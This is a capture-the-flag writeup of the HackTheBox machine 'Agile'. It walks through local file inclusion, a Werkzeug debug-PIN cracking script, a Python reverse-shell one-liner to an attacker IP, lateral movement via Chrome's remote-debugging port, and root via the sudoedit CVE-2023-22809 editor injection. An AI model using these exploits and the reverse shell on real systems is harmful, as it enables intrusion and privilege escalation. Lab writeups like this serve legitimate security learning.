Agile – HackTheBox Writeup
Machine Name: Agile
IP: 10.10.11.203
Difficulty: Medium
Summary
Agile is a medium machine that starts with discovering a LFI which was leveraged to gain information required to crack the Werkzeug pin. The werkzeug pin allowed console access which allowed us to gain a shell as www-data. A config file revealed MySQL database credentials. The credentials for user corum were found which were used to SSH into the box. Enumerating further, it was found that chrome was running a remote-debugging-port at 41829 which was port forwarded to attacker machine which allowed us access to an existing session of the application. The credentials for user edwards was found here and were used to SSH into the box. Privilege escalation to root involved exploiting the sudo version 1.9.9 which was used to execute a writeable script running as root.
Information Gathering
Nmap scan shows that port 22 (SSH), port 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 on Ubuntu. Since the page redirected to “http://superpass.htb,” I added it to my /etc/hosts file to facilitate further investigation.
The web application is a password manager. I tested the login with a simple single quote that could break the SQL syntax. It worked. The application returned with an error that discloses the path of the application “/app/app/superpass”, and that the application is built on Flask. Files such as app.py, “/views/accounts_views.py”, “/services/user_service.py” were also revealed.
When I registered myself, the application redirects me to a “vault” page.
The site allows us to store credentials. Once saved, we can export them to a CSV file (Really secure password manager, right?)
Local File Inclusion
I captured the request that exports the credentials. The download “fn” parameter was vulnerable to LFI. I was able to retrieve the /etc/passwd file and found the users edwards, runner, dev_admin on the machine. This could mean that we may have to do some lateral movement from one user to another.
The LFI does not give us a shell to the machine. Another interesting observation is the fact that the credentials are retrieved by “row id”. A GET request to “/vault/row/10” is sent to retrieve the information. Whenever an application uses identifiers like numbers such as this case, I always test for IDOR.
I captured the edit/save credential request and change it to a GET request of the row.
Then, I sent it to intruder tab to enumerate for more rows that could belong to other users. Unfortunately, none of the IDs revealed the credentials of other users. Apparently, the IDOR revealed the passwords of other users before they implemented the fix for it as it was the unintentional solution.
I will have to capitalize on the LFI to find a way. I tried to read the source code of the application by browsing through the files found through the error page.
Werkzeug Console
In the “/app/app/superpass/app.py” file, I noticed that the “app.debug” is set to True. This allows developers to manage logs and identify errors through a console. In Flask, one could use the Werkzeug Debugger by providing a pin and execute commands. The problem is how one can crack the pin to gain access to the console.
To crack the pin, we need information on how the pin is generated. This blog describes the process in depth and helped me through cracking the pin. LFI makes it easier to crack the Werkzeug PIN as we can obtain the information we need by accessing the files.
Cracking Werkzeug PIN
Information Needed:
- Username of user running the Flask application. (www-data)
- Module name of Flask application. (flask.app)
- Application name of Flask application. (wsgi_app)
- Path to Flask app.py file (/app/venv/lib/python3.10/site-packages/flask/app.py)
- MAC address of network interface hosting the application in decimal form. (345052411074)
- ID from /etc/machine-id (ed5b159560f54721827644bc9b220d00)
- On newer systems, combine /etc/machine-id with last part of /proc/<pid>/cgroup split on the / character. (ed5b159560f54721827644bc9b220d00superpass.service)
- Concatenate all the above values and generate MD5 hash or SHA1 hash
- Encode the resulting digest as a 9 digit decimal number with hyphens inserted every 3 digits.
# Get username running Flask app /proc/self/environ www-data
# Network interface /proc/net/arp eth0
# MAC address (from the Network interface) /sys/class/net/eth0/address 00:50:56:b9:2f:c3 python3 >>> print(0x005056b92fc3) 345052360643
# Machine ID /etc/machine-id ed5b159560f54721827644bc9b220d00
# Service Name and machine ID /proc/self/cgroup 0::/system.slice/superpass.service
I found this code on HackTricks to crack the PIN. I used the above information to update the code and run the exploit.
import hashlib from itertools import chain probably_public_bits = [ 'www-data',# username 'flask.app',# modname 'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '345052360643',# str(uuid.getnode()), /sys/class/net/ens33/address 'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id ] #h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') #h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
nano werkzeug.py python3 werkzeug.py 143-697-803
I pressed the console button in one of the error messages and entered the pin.
I got the console shell!
Gaining Shell as www-data
Using the below payload, I obtained the shell as www-data.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
In the “/app” directory, the “config_prod.json” file revealed the MySQL password.
cat /app/config_prod.json
Note that the “config_test.json” cannot be read by www-data. It might contain the test environment’s credentials.
I used the above credentials to login to mysql.
mysql -u superpassuser -p -h localhost dSA6l7q*yIVs$39Ml6ywvgK
Lateral Movement to Corum
I was able to select the superpass database and view the users and passwords tables.
show databases; use superpass; show tables; select * from users; select * from passwords;
mysql> select * from passwords; +----+---------------------+---------------------+----------------+----------+----------------------+---------+ | id | created_date | last_updated_data | url | username | password | user_id | +----+---------------------+---------------------+----------------+----------+----------------------+---------+ | 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 | | 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 | | 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 | | 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 | | 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 | +----+---------------------+---------------------+----------------+----------+----------------------+---------+
Of all the credentials, I was successfully able to SSH into “corum:5db7caa1d13cc37c9fc2”
ssh corum@superpass.htb
Lateral Movement to Edwards
As always, I checked for “sudo -l” but I did not find anything interesting. I also checked if I could read the “config_test.json” file but even Corum cannot read it. Then, I transferred linpeas and found that the service port “5555” is open. This might be the internal port that runs the application locally.
The internal test application is being run by “runner”.
ps aux | grep 5555
To access this port, port forwarded it through SSH. It turned out to be the same superpass application that I was accessing earlier.
ssh corum@superpass.htb -L 5555:localhost:5555
Exploring Debugging Port on Chrome
Another interesting observation from linpeas’s output was that chrome was running a “remote-debugging-port” on 41829.
I port forwarded the remote-debugging-port through SSH.
ssh -L 41829:127.0.0.1:41829 corum@superpass.htb
Then, I opened chrome to discover targets in the port that we configure through port forwarding option in Chrome.
First, I visited the “chrome://inspect/#devices” and clicked on configure to enter the “localhost:41829” port. I checked the “Enable Port Forwarding” option.
Within seconds, we find the “test.superpass.htb” subdomain in the Remote Target section. I added it to my /etc/hosts file.
If we select on “inspect”, we are presented with an authenticated session of runner account. The credentials for edwards can be grabbed from here.
Let’s use these credentials to SSH into Edwards’ machine
ssh edwards@superpass.htb d07867c6267dcb5df0af
Privilege Escalation to Root
The sudo -l command informed that user Edwards an run “sudoedit” for the “config_test.json” file and “creds.txt” file as user “dev_admin”.
When I tried to use the command, I found that the config_test.json file is the same as the config_prod.json file.
sudo -u dev_admin sudoedit config_test.json sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt 1d7ffjwrx#$d6qn!9nndqgde4
Then, I checked the sudo version and it was found to be 1.9.9 which is vulnerable to CVE-2023-22809.
Exploiting Sudo 1.9.9 (CVE-2023-22809)
This is related to the behavior of the sudo command when selecting an editor based on user-provided environment variables. By injecting an extra “–” argument in one of these variables, an attacker can alter the list of files to be edited and potentially escalate privileges.
I ran pspy64 to check any processes that are run by root and found that the “/app/venv/bin/activate” was run by root and owned by the dev_admin group.
./pspy64
The reason that we require the file to be owned by dev_admin group is because only then we will be able to edit it using sudoedit.
ls -la /app/venv/bin/activate
To exploit the vulnerability, I exported the “EDITOR” environment variable to “vim” along with the “–” for the file to be executed. At first, the editor in the environment is set to nano as seen while viewing the config files.
export EDITOR='vim -- /app/venv/bin/activate' sudo -u dev_admin sudoedit /app/config_test.json chmod u+s /bin/bash
I set the suid bit to bash in the first line of the “activate” file and saved it.
Finally, when we check the bash binary, we have the suid bit set to it and we can get the root shell.
ls -la /bin/bash bash -p cat /root/root.txt